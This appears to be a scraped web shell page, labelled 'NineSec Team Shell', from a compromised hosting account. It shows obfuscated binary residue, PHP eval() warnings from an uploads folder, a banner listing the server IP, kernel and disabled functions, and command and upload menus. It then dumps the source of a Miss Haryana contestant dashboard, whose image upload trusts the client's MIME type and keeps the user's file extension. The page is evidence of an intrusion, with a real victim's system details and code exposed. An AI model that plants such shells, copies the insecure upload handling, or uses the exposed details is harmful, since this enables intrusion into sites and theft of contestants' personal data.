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[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 6

Warning: Cannot modify header information - headers already sent by (output started at /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php:1) in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 45
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.112
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/missharyana.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/missharyana.com/public_html/dashboard1.php
<?php
// Start session and check authentication
require_once 'config.php';

// Redirect to login if not authenticated
if (!isset($_SESSION['contestant_id'])) {
    header('Location: login.php');
    exit();
}

try {
    // Get contestant details
    $stmt = $pdo->prepare("SELECT * FROM contestants WHERE id = ?");
    $stmt->execute([$_SESSION['contestant_id']]);
    $contestant = $stmt->fetch(PDO::FETCH_ASSOC);

    if (!$contestant) {
        throw new Exception("Contestant not found");
    }

    // Get contestant images
    $stmt = $pdo->prepare("SELECT * FROM contestant_images WHERE contestant_id = ?");
    $stmt->execute([$_SESSION['contestant_id']]);
    $images = $stmt->fetchAll(PDO::FETCH_ASSOC);

    // Organize images by type
    $imageTypes = [];
    foreach ($images as $image) {
        $imageTypes[$image['image_type']] = $image;
    }

    // Get contestant videos
    $stmt = $pdo->prepare("SELECT * FROM contestant_videos WHERE contestant_id = ?");
    $stmt->execute([$_SESSION['contestant_id']]);
    $videos = $stmt->fetchAll(PDO::FETCH_ASSOC);

} catch (PDOException $e) {
    error_log("Database Error: " . $e->getMessage());
    die("An error occurred while loading your data. Please try again later.");
} catch (Exception $e) {
    error_log("Application Error: " . $e->getMessage());
    die($e->getMessage());
}


// Organize images by type
$imageTypes = [];
foreach ($images as $image) {
    $imageTypes[$image['image_type']] = $image;
}

// Handle form submissions
$success_message = '';
$error_message = '';

// Handle profile update
if (isset($_POST['update_profile'])) {
    try {
        $full_name = htmlspecialchars($_POST['full_name']);
        $age = intval($_POST['age']);
        $district = htmlspecialchars($_POST['district']);
        $address = htmlspecialchars($_POST['address']);
        $phone = htmlspecialchars($_POST['phone']);
        $whatsapp = !empty($_POST['whatsapp']) ? htmlspecialchars($_POST['whatsapp']) : null;
        $bio = htmlspecialchars($_POST['bio']);
        $height = htmlspecialchars($_POST['height']);
        $weight = htmlspecialchars($_POST['weight']);
        $bust = !empty($_POST['bust']) ? htmlspecialchars($_POST['bust']) : null;
        $waist = !empty($_POST['waist']) ? htmlspecialchars($_POST['waist']) : null;
        $hips = !empty($_POST['hips']) ? htmlspecialchars($_POST['hips']) : null;
        $eye_color = htmlspecialchars($_POST['eye_color']);
        $hair_color = htmlspecialchars($_POST['hair_color']);
        $reason = htmlspecialchars($_POST['reason']);
        $other_info = !empty($_POST['other_info']) ? htmlspecialchars($_POST['other_info']) : null;
        
        $stmt = $db->prepare("UPDATE contestants SET 
                            full_name = ?, age = ?, district = ?, address = ?, phone = ?, whatsapp = ?, 
                            bio = ?, height = ?, weight = ?, bust = ?, waist = ?, hips = ?, 
                            eye_color = ?, hair_color = ?, reason = ?, other_info = ? 
                            WHERE id = ?");
        $stmt->execute([
            $full_name, $age, $district, $address, $phone, $whatsapp, 
            $bio, $height, $weight, $bust, $waist, $hips, 
            $eye_color, $hair_color, $reason, $other_info, 
            $_SESSION['contestant_id']
        ]);
        
        $success_message = "Profile updated successfully!";
        // Refresh contestant data
        $stmt = $db->prepare("SELECT * FROM contestants WHERE id = ?");
        $stmt->execute([$_SESSION['contestant_id']]);
        $contestant = $stmt->fetch(PDO::FETCH_ASSOC);
    } catch (Exception $e) {
        $error_message = "Error updating profile: " . $e->getMessage();
    }
}

// Handle image updates
if (isset($_POST['update_images'])) {
    try {
        $upload_dir = 'uploads/contestants/' . $_SESSION['contestant_id'] . '/';
        if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true);
        }
        
        $image_types = [
            'profile_image' => 'profile',
            'closeup_image' => 'closeup',
            'midside_image' => 'midside',
            'full_length_image' => 'full_length',
            'no_makeup_image' => 'no_makeup'
        ];
        
        $profile_image_path = null;
        
        foreach ($image_types as $file_field => $image_type) {
            if (isset($_FILES[$file_field]) && $_FILES[$file_field]['error'] === UPLOAD_ERR_OK) {
                $file = $_FILES[$file_field];
                
                // Validate image
                $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
                if (!in_array($file['type'], $allowed_types)) {
                    continue; // Skip invalid image types
                }
                
                // Generate unique filename
                $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
                $filename = uniqid() . '.' . $ext;
                $filepath = $upload_dir . $filename;
                
                if (move_uploaded_file($file['tmp_name'], $filepath)) {
                    // Check if image type already exists
                    $stmt = $db->prepare("SELECT id FROM contestant_images WHERE contestant_id = ? AND image_type = ?");
                    $stmt->execute([$_SESSION['contestant_id'], $image_type]);
                    $existing = $stmt->fetch();
                    
                    if ($existing) {
                        // Update existing image
                        $stmt = $db->prepare("UPDATE contestant_images SET image_path = ? WHERE id = ?");
                        $stmt->execute([$filepath, $existing['id']]);
                    } else {
                        // Insert new image
                        $stmt = $db->prepare("INSERT INTO contestant_images (contestant_id, image_type, image_path) VALUES (?, ?, ?)");
                        $stmt->execute([$_SESSION['contestant_id'], $image_type, $filepath]);
                    }
                    
                    // Store profile image path
                    if ($image_type === 'profile') {
                        $profile_image_path = $filepath;
                    }
                }
            }
        }
        
        // Update profile image path in contestants table if available
        if ($profile_image_path) {
            $stmt = $db->prepare("UPDATE contestants SET profile_image = ? WHERE id = ?");
            $stmt->execute([$profile_image_path, $_SESSION['contestant_id']]);
        }
        
        $success_message = "Images updated successfully!";
        // Refresh images data
        $stmt = $db->prepare("SELECT * FROM contestant_images WHERE contestant_id = ?");
        $stmt->execute([$_SESSION['contestant_id']]);
        $images = $stmt->fetchAll(PDO::FETCH_ASSOC);
        $imageTypes = [];
        foreach ($images as $image) {
            $imageTypes[$image['image_type']] = $image;
        }
    } catch (Exception $e) {
        $error_message = "Error updating images: " . $e->getMessage();
    }
}

// Handle video URL updates
if (isset($_POST['update_videos'])) {
    try {
        foreach ($_POST['videos'] as $video_id => $youtube_url) {
            if (!empty($youtube_url)) {
                // Extract YouTube ID from URL
                $pattern = '/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\//i';
                preg_match($pattern, $youtube_url, $matches);
                $youtube_id = isset($matches[1]) ? $matches[1] : substr($youtube_url, strrpos($youtube_url, '/') + 1);
                
                $stmt = $db->prepare("UPDATE contestant_videos SET youtube_url = ?, youtube_id = ? WHERE id = ? AND contestant_id = ?");
                $stmt->execute([$youtube_url, $youtube_id, $video_id, $_SESSION['contestant_id']]);
            }
        }
        $success_message = "Video links updated successfully!";
        // Refresh videos data
        $stmt = $db->prepare("SELECT * FROM contestant_videos WHERE contestant_id = ?");
        $stmt->execute([$_SESSION['contestant_id']]);
        $videos = $stmt->fetchAll(PDO::FETCH_ASSOC);
    } catch (Exception $e) {
        $error_message = "Error updating video links: " . $e->getMessage();
    }
}

// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: login.php');
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Miss Haryana - Contestant Dashboard</title>
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <!-- Font Awesome -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary-color: #d81b60;
            --secondary-color: #f8bbd0;
            --dark-color: #333;
            --light-color: #f8f9fa;
        }
        
        body {
            font-family: 'Poppins', sans-serif;
            background-color: #fef6f9;
            color: var(--dark-color);
            line-height: 1.6;
        }
        
        .dashboard-header {
            background: linear-gradient(135deg, var(--primary-color), #ec407a);
            color: white;
            padding: 20px 0;
            margin-bottom: 30px;
        }
        
        .dashboard-container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 15px;
        }
        
        .welcome-message h1 {
            font-weight: 700;
            margin-bottom: 10px;
        }
        
        .nav-tabs .nav-link {
            color: #555;
            font-weight: 500;
            border: none;
            padding: 12px 20px;
        }
        
        .nav-tabs .nav-link.active {
            color: var(--primary-color);
            background: transparent;
            border-bottom: 3px solid var(--primary-color);
        }
        
        .tab-content {
            background: white;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.05);
            margin-bottom: 30px;
        }
        
        .section-title {
            color: var(--primary-color);
            font-weight: 600;
            margin-bottom: 25px;
            padding-bottom: 10px;
            border-bottom: 2px solid var(--secondary-color);
        }
        
        .form-label {
            font-weight: 500;
            margin-bottom: 8px;
            color: #555;
        }
        
        .form-control, .form-select {
            border-radius: 8px;
            padding: 12px 15px;
            border: 1px solid #ddd;
            transition: all 0.3s;
        }
        
        .form-control:focus, .form-select:focus {
            border-color: var(--primary-color);
            box-shadow: 0 0 0 0.25rem rgba(216, 27, 96, 0.15);
        }
        
        .btn-primary {
            background-color: var(--primary-color);
            border-color: var(--primary-color);
            padding: 12px 25px;
            border-radius: 8px;
            font-weight: 500;
        }
        
        .btn-primary:hover {
            background-color: #c2185b;
            border-color: #c2185b;
        }
        
        .preview-image {
            max-width: 100%;
            max-height: 200px;
            border-radius: 8px;
            margin-top: 15px;
            border: 1px solid #eee;
        }
        
        .upload-area {
            border: 2px dashed #ddd;
            border-radius: 10px;
            padding: 20px;
            text-align: center;
            cursor: pointer;
            transition: all 0.3s;
            margin-bottom: 15px;
            background: #fafafa;
        }
        
        .upload-area:hover {
            border-color: var(--primary-color);
            background: rgba(216, 27, 96, 0.03);
        }
        
        .upload-icon {
            font-size: 2rem;
            color: var(--primary-color);
            margin-bottom: 10px;
        }
        
        .status-card {
            background: white;
            border-radius: 8px;
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.05);
            border-left: 4px solid var(--primary-color);
        }
        
        .status-title {
            font-weight: 600;
            color: var(--primary-color);
            margin-bottom: 15px;
        }
        
        .status-value {
            font-size: 1.1rem;
            font-weight: 500;
        }
        
        .status-pending {
            color: #ff9800;
        }
        
        .status-approved {
            color: #4caf50;
        }
        
        .status-rejected {
            color: #f44336;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border-color: #c3e6cb;
        }
        
        .alert-danger {
            background-color: #f8d7da;
            color: #721c24;
            border-color: #f5c6cb;
        }
    </style>
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
</head>
<body>
    <header class="dashboard-header">
        <div class="dashboard-container">
            <div class="d-flex justify-content-between align-items-center">
                <div class="welcome-message">
                    <h1><i class="fas fa-crown me-2"></i> Welcome, <?php echo htmlspecialchars($contestant['full_name']); ?></h1>
                    <p>Miss Haryana Contestant Dashboard</p>
                </div>
                <div>
                    <a href="?logout" class="btn btn-light">
                        <i class="fas fa-sign-out-alt me-1"></i> Logout
                    </a>
                </div>
            </div>
        </div>
    </header>
    
    <div class="dashboard-container">
        <?php if (!empty($success_message)): ?>
            <div class="alert alert-success mb-4">
                <i class="fas fa-check-circle me-2"></i>
                <?php echo htmlspecialchars($success_message); ?>
            </div>
        <?php endif; ?>
        
        <?php if (!empty($error_message)): ?>
            <div class="alert alert-danger mb-4">
                <i class="fas fa-exclamation-circle me-2"></i>
                <?php echo htmlspecialchars($error_message); ?>
            </div>
        <?php endif; ?>
        
        <ul class="nav nav-tabs" id="dashboardTabs" role="tablist">
            <li class="nav-item" role="presentation">
                <button class="nav-link active" id="profile-tab" data-bs-toggle="tab" data-bs-target="#profile" type="button" role="tab">
                    <i class="fas fa-user me-1"></i> Profile
                </button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="photos-tab" data-bs-toggle="tab" data-bs-target="#photos" type="button" role="tab">
                    <i class="fas fa-images me-1"></i> Photos
                </button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="videos-tab" data-bs-toggle="tab" data-bs-target="#videos" type="button" role="tab">
                    <i class="fas fa-video me-1"></i> Videos
                </button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="status-tab" data-bs-toggle="tab" data-bs-target="#status" type="button" role="tab">
                    <i class="fas fa-info-circle me-1"></i> Status & Updates
                </button>
            </li>
        </ul>
        
        <div class="tab-content" id="dashboardTabsContent">
            <!-- Profile Tab -->
            <div class="tab-pane fade show active" id="profile" role="tabpanel">
                <h3 class="section-title"><i class="fas fa-user-edit me-2"></i> Edit Profile</h3>
                
                <form method="POST" action="">
                    <div class="row g-4">
                        <div class="col-md-6">
                            <label for="full_name" class="form-label">Full Name</label>
                            <input type="text" class="form-control" id="full_name" name="full_name" 
                                   value="<?php echo htmlspecialchars($contestant['full_name']); ?>" required>
                        </div>
                        
                        <div class="col-md-6">
                            <label for="age" class="form-label">Age</label>
                            <input type="number" class="form-control" id="age" name="age" min="18" max="30" 
                                   value="<?php echo htmlspecialchars($contestant['age']); ?>" required>
                        </div>
                        
                        <div class="col-md-6">
                            <label for="district" class="form-label">District</label>
                            <input type="text" class="form-control" id="district" name="district" 
                                   value="<?php echo htmlspecialchars($contestant['district']); ?>" required>
                        </div>
                        
                        <div class="col-md-6">
                            <label for="phone" class="form-label">Phone Number</label>
                            <input type="tel" class="form-control" id="phone" name="phone" 
                                   value="<?php echo htmlspecialchars($contestant['phone']); ?>" required>
                        </div>
                        
                        <div class="col-md-6">
                            <label for="whatsapp" class="form-label">WhatsApp Number</label>
                            <input type="tel" class="form-control" id="whatsapp" name="whatsapp" 
                                   value="<?php echo htmlspecialchars($contestant['whatsapp']); ?>">
                        </div>
                        
                        <div class="col-md-6">
                            <label for="email" class="form-label">Email Address</label>
                            <input type="email" class="form-control" id="email" name="email" 
                                   value="<?php echo htmlspecialchars($contestant['email']); ?>" readonly>
                        </div>
                        
                        <div class="col-12">
                            <label for="address" class="form-label">Full Address</label>
                            <textarea class="form-control" id="address" name="address" rows="3" required><?php echo htmlspecialchars($contestant['address']); ?></textarea>
                        </div>
                        
                        <div class="col-12">
                            <label for="bio" class="form-label">Short Biography</label>
                            <textarea class="form-control" id="bio" name="bio" rows="4" required><?php echo htmlspecialchars($contestant['bio']); ?></textarea>
                        </div>
                        
                        <div class="col-md-4">
                            <label for="height" class="form-label">Height (cm)</label>
                            <input type="text" class="form-control" id="height" name="height" 
                                   value="<?php echo htmlspecialchars($contestant['height']); ?>" required>
                        </div>
                        
                        <div class="col-md-4">
                            <label for="weight" class="form-label">Weight (kg)</label>
                            <input type="text" class="form-control" id="weight" name="weight" 
                                   value="<?php echo htmlspecialchars($contestant['weight']); ?>" required>
                        </div>
                        
                        <div class="col-md-4">
                            <label for="eye_color" class="form-label">Eye Color</label>
                            <input type="text" class="form-control" id="eye_color" name="eye_color" 
                                   value="<?php echo htmlspecialchars($contestant['eye_color']); ?>" required>
                        </div>
                        
                        <div class="col-md-4">
                            <label for="hair_color" class="form-label">Hair Color</label>
                            <input type="text" class="form-control" id="hair_color" name="hair_color" 
                                   value="<?php echo htmlspecialchars($contestant['hair_color']); ?>" required>
                        </div>
                        
                        <div class="col-md-4">
                            <label for="bust" class="form-label">Bust (inches)</label>
                            <input type="text" class="form-control" id="bust" name="bust" 
                                   value="<?php echo htmlspecialchars($contestant['bust']); ?>">
                        </div>
                        
                        <div class="col-md-4">
                            <label for="waist" class="form-label">Waist (inches)</label>
                            <input type="text" class="form-control" id="waist" name="waist" 
                                   value="<?php echo htmlspecialchars($contestant['waist']); ?>">
                        </div>
                        
                        <div class="col-md-4">
                            <label for="hips" class="form-label">Hips (inches)</label>
                            <input type="text" class="form-control" id="hips" name="hips" 
                                   value="<?php echo htmlspecialchars($contestant['hips']); ?>">
                        </div>
                        
                        <div class="col-12">
                            <label for="reason" class="form-label">Why do you want to be Miss Haryana?</label>
                            <textarea class="form-control" id="reason" name="reason" rows="4" required><?php echo htmlspecialchars($contestant['reason']); ?></textarea>
                        </div>
                        
                        <div class="col-12">
                            <label for="other_info" class="form-label">Any other information you'd like to share</label>
                            <textarea class="form-control" id="other_info" name="other_info" rows="3"><?php echo htmlspecialchars($contestant['other_info']); ?></textarea>
                        </div>
                        
                        <div class="col-12 mt-4">
                            <button type="submit" name="update_profile" class="btn btn-primary">
                                <i class="fas fa-save me-2"></i> Update Profile
                            </button>
                        </div>
                    </div>
                </form>
            </div>
            
            <!-- Photos Tab -->
            <div class="tab-pane fade" id="photos" role="tabpanel">
                <h3 class="section-title"><i class="fas fa-images me-2"></i> Update Photos</h3>
                <p class="mb-4">Upload high quality photos (minimum 1MB, maximum 5MB each) with good lighting and clear visibility.</p>
                
                <form method="POST" action="" enctype="multipart/form-data">
                    <div class="row g-4">
                        <!-- Profile Photo -->
                        <div class="col-md-6">
                            <label class="form-label">Profile Photo</label>
                            <div class="upload-area" onclick="document.getElementById('profile_image').click()">
                                <div class="upload-icon">
                                    <i class="fas fa-portrait"></i>
                                </div>
                                <p class="mb-1">Click to upload profile photo</p>
                                <p class="text-muted">High quality headshot (JPEG/PNG)</p>
                                <input type="file" id="profile_image" name="profile_image" accept="image/*" style="display: none;">
                            </div>
                            <?php if (isset($imageTypes['profile'])): ?>
                                <img src="<?php echo htmlspecialchars($imageTypes['profile']['image_path']); ?>" class="preview-image" id="profile_preview">
                            <?php else: ?>
                                <img src="images/default-profile.jpg" class="preview-image" id="profile_preview" style="display: none;">
                            <?php endif; ?>
                        </div>
                        
                        <!-- Close Up Photo -->
                        <div class="col-md-6">
                            <label class="form-label">Close Up Photo</label>
                            <div class="upload-area" onclick="document.getElementById('closeup_image').click()">
                                <div class="upload-icon">
                                    <i class="fas fa-user-circle"></i>
                                </div>
                                <p class="mb-1">Click to upload closeup photo</p>
                                <p class="text-muted">Clear face photo (JPEG/PNG)</p>
                                <input type="file" id="closeup_image" name="closeup_image" accept="image/*" style="display: none;">
                            </div>
                            <?php if (isset($imageTypes['closeup'])): ?>
                                <img src="<?php echo htmlspecialchars($imageTypes['closeup']['image_path']); ?>" class="preview-image" id="closeup_preview">
                            <?php else: ?>
                                <img src="images/default-profile.jpg" class="preview-image" id="closeup_preview" style="display: none;">
                            <?php endif; ?>
                        </div>
                        
                        <!-- Mid Side Photo -->
                        <div class="col-md-6">
                            <label class="form-label">Mid Side Photo</label>
                            <div class="upload-area" onclick="document.getElementById('midside_image').click()">
                                <div class="upload-icon">
                                    <i class="fas fa-user"></i>
                                </div>
                                <p class="mb-1">Click to upload mid side photo</p>
                                <p class="text-muted">Half body shot (JPEG/PNG)</p>
                                <input type="file" id="midside_image" name="midside_image" accept="image/*" style="display: none;">
                            </div>
                            <?php if (isset($imageTypes['midside'])): ?>
                                <img src="<?php echo htmlspecialchars($imageTypes['midside']['image_path']); ?>" class="preview-image" id="midside_preview">
                            <?php else: ?>
                                <img src="images/default-profile.jpg" class="preview-image" id="midside_preview" style="display: none;">
                            <?php endif; ?>
                        </div>
                        
                        <!-- Full Length Photo -->
                        <div class="col-md-6">
                            <label class="form-label">Full Length Photo</label>
                            <div class="upload-area" onclick="document.getElementById('full_length_image').click()">
                                <div class="upload-icon">
                                    <i class="fas fa-street-view"></i>
                                </div>
                                <p class="mb-1">Click to upload full length photo</p>
                                <p class="text-muted">Full body shot (JPEG/PNG)</p>
                                <input type="file" id="full_length_image" name="full_length_image" accept="image/*" style="display: none;">
                            </div>
                            <?php if (isset($imageTypes['full_length'])): ?>
                                <img src="<?php echo htmlspecialchars($imageTypes['full_length']['image_path']); ?>" class="preview-image" id="full_length_preview">
                            <?php else: ?>
                                <img src="images/default-profile.jpg" class="preview-image" id="full_length_preview" style="display: none;">
                            <?php endif; ?>
                        </div>
                        
                        <!-- No Makeup Photo -->
                        <div class="col-md-6">
                            <label class="form-label">No Makeup Photo</label>
                            <div class="upload-area" onclick="document.getElementById('no_makeup_image').click()">
                                <div class="upload-icon">
                                    <i class="fas fa-smile"></i>
                                </div>
                                <p class="mb-1">Click to upload no makeup photo</p>
                                <p class="text-muted">Natural face without makeup (JPEG/PNG)</p>
                                <input type="file" id="no_makeup_image" name="no_makeup_image" accept="image/*" style="display: none;">
                            </div>
                            <?php if (isset($imageTypes['no_makeup'])): ?>
                                <img src="<?php echo htmlspecialchars($imageTypes['no_makeup']['image_path']); ?>" class="preview-image" id="no_makeup_preview">
                            <?php else: ?>
                                <img src="images/default-profile.jpg" class="preview-image" id="no_makeup_preview" style="display: none;">
                            <?php endif; ?>
                        </div>
                        
                        <div class="col-12 mt-4">
                            <button type="submit" name="update_images" class="btn btn-primary">
                                <i class="fas fa-save me-2"></i> Update Photos
                            </button>
                        </div>
                    </div>
                </form>
            </div>
            
            <!-- Videos Tab -->
            <div class="tab-pane fade" id="videos" role="tabpanel">
                <h3 class="section-title"><i class="fas fa-video me-2"></i> Video Requirements</h3>
                <p class="mb-4">Please provide YouTube links to your required videos. Make sure the videos are unlisted or public.</p>
                
                <?php if (count($videos) > 0): ?>
                    <form method="POST" action="">
                        <div class="row g-4">
                            <?php foreach ($videos as $video): ?>
                                <div class="col-md-6">
                                    <div class="card mb-4">
                                        <div class="card-body">
                                            <h5 class="card-title">
                                                <?php echo htmlspecialchars(ucfirst($video['video_type'])); ?> Video
                                            </h5>
                                            
                                            <?php if ($video['youtube_url']): ?>
                                                <div class="ratio ratio-16x9 mb-3">
                                                    <iframe src="https://www.youtube.com/embed/<?php echo htmlspecialchars($video['youtube_id']); ?>" 
                                                            frameborder="0" allowfullscreen></iframe>
                                                </div>
                                            <?php else: ?>
                                                <div class="alert alert-info mb-3">
                                                    <i class="fas fa-info-circle me-2"></i>
                                                    Video not uploaded yet
                                                </div>
                                            <?php endif; ?>
                                            
                                            <div class="mb-3">
                                                <label for="video_<?php echo $video['id']; ?>" class="form-label">YouTube URL</label>
                                                <input type="url" class="form-control" id="video_<?php echo $video['id']; ?>" 
                                                       name="videos[<?php echo $video['id']; ?>]" 
                                                       value="<?php echo htmlspecialchars($video['youtube_url']); ?>"
                                                       placeholder="https://www.youtube.com/watch?v=...">
                                            </div>
                                            
                                            <div class="requirements">
                                                <h6>Requirements:</h6>
                                                <?php if ($video['video_type'] === 'walk'): ?>
                                                    <ul>
                                                        <li>Maximum 2 minutes duration</li>
                                                        <li>Full body view</li>
                                                        <li>Proper lighting</li>
                                                        <li>Formal attire</li>
                                                    </ul>
                                                <?php else: ?>
                                                    <ul>
                                                        <li>Maximum 1 minute duration</li>
                                                        <li>Clear audio</li>
                                                        <li>Looking at camera</li>
                                                        <li>Introduce yourself</li>
                                                    </ul>
                                                <?php endif; ?>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                            
                            <div class="col-12 mt-2">
                                <button type="submit" name="update_videos" class="btn btn-primary">
                                    <i class="fas fa-save me-2"></i> Update Video Links
                                </button>
                            </div>
                        </div>
                    </form>
                <?php else: ?>
                    <div class="alert alert-info">
                        <i class="fas fa-info-circle me-2"></i>
                        No video requirements found for your profile.
                    </div>
                <?php endif; ?>
            </div>
            
            <!-- Status Tab -->
            <div class="tab-pane fade" id="status" role="tabpanel">
                <h3 class="section-title"><i class="fas fa-info-circle me-2"></i> Application Status</h3>
                
                <div class="row">
                    <div class="col-md-6">
                        <div class="status-card">
                            <h4 class="status-title">Registration Status</h4>
                            <div class="status-value">
                                <?php if ($contestant['status'] == 0): ?>
                                    <span class="status-pending"><i class="fas fa-clock me-2"></i> Pending Review</span>
                                <?php elseif ($contestant['status'] == 1): ?>
                                    <span class="status-approved"><i class="fas fa-check-circle me-2"></i> Approved</span>
                                <?php else: ?>
                                    <span class="status-rejected"><i class="fas fa-times-circle me-2"></i> Rejected</span>
                                <?php endif; ?>
                            </div>
                            <p class="mt-2 mb-0">Registered on: <?php echo date('F j, Y', strtotime($contestant['registered_at'])); ?></p>
                        </div>
                    </div>
                    
                    <div class="col-md-6">
                        <div class="status-card">
                            <h4 class="status-title">Payment Status</h4>
                            <div class="status-value">
                                <span class="status-pending"><i class="fas fa-clock me-2"></i> Not Paid</span>
                            </div>
                            <p class="mt-2 mb-0">Registration fee: ₹2,500</p>
                            <button class="btn btn-primary btn-sm mt-2">
                                <i class="fas fa-rupee-sign me-1"></i> Pay Now
                            </button>
                        </div>
                    </div>
                </div>
                
                <h4 class="mt-5 mb-3">Updates & Notifications</h4>
                
                <div class="card">
                    <div class="card-body">
                        <div class="alert alert-info">
                            <i class="fas fa-info-circle me-2"></i>
                            Your application is currently under review. We'll notify you once it's processed.
                        </div>
                        
                        <div class="timeline mt-4">
                            <div class="timeline-item">
                                <div class="timeline-point"></div>
                                <div class="timeline-content">
                                    <h6>Registration Submitted</h6>
                                    <p class="text-muted"><?php echo date('F j, Y \a\t g:i a', strtotime($contestant['registered_at'])); ?></p>
                                    <p>Your application has been successfully submitted for review.</p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Bootstrap JS Bundle with Popper -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    
    <script>
        // Image preview functionality
        function setupImagePreview(inputId, previewId) {
            const input = document.getElementById(inputId);
            const preview = document.getElementById(previewId);
            
            input.addEventListener('change', function() {
                const file = this.files[0];
                if (file) {
                    // Validate file type
                    const validTypes = ['image/jpeg', 'image/png'];
                    if (!validTypes.includes(file.type)) {
                        alert('Please upload a valid image file (JPEG or PNG only)');
                        this.value = '';
                        return;
                    }
                    
                    // Validate file size (max 5MB)
                    if (file.size > 5 * 1024 * 1024) {
                        alert('Image must be less than 5MB');
                        this.value = '';
                        return;
                    }
                    
                    const reader = new FileReader();
                    reader.onload = function(e) {
                        preview.src = e.target.result;
                        preview.style.display = 'block';
                    }
                    reader.readAsDataURL(file);
                }
            });
        }
        
        // Setup previews for all image uploads
        setupImagePreview('profile_image', 'profile_preview');
        setupImagePreview('closeup_image', 'closeup_preview');
        setupImagePreview('midside_image', 'midside_preview');
        setupImagePreview('full_length_image', 'full_length_preview');
        setupImagePreview('no_makeup_image', 'no_makeup_preview');
        
        // Initialize Bootstrap tabs
        var tabElms = document.querySelectorAll('button[data-bs-toggle="tab"]');
        tabElms.forEach(function(tabEl) {
            tabEl.addEventListener('click', function (event) {
                event.preventDefault();
                var tab = new bootstrap.Tab(tabEl);
                tab.show();
            });
        });
    </script>
</body>
</html>

NineSec Team - 2022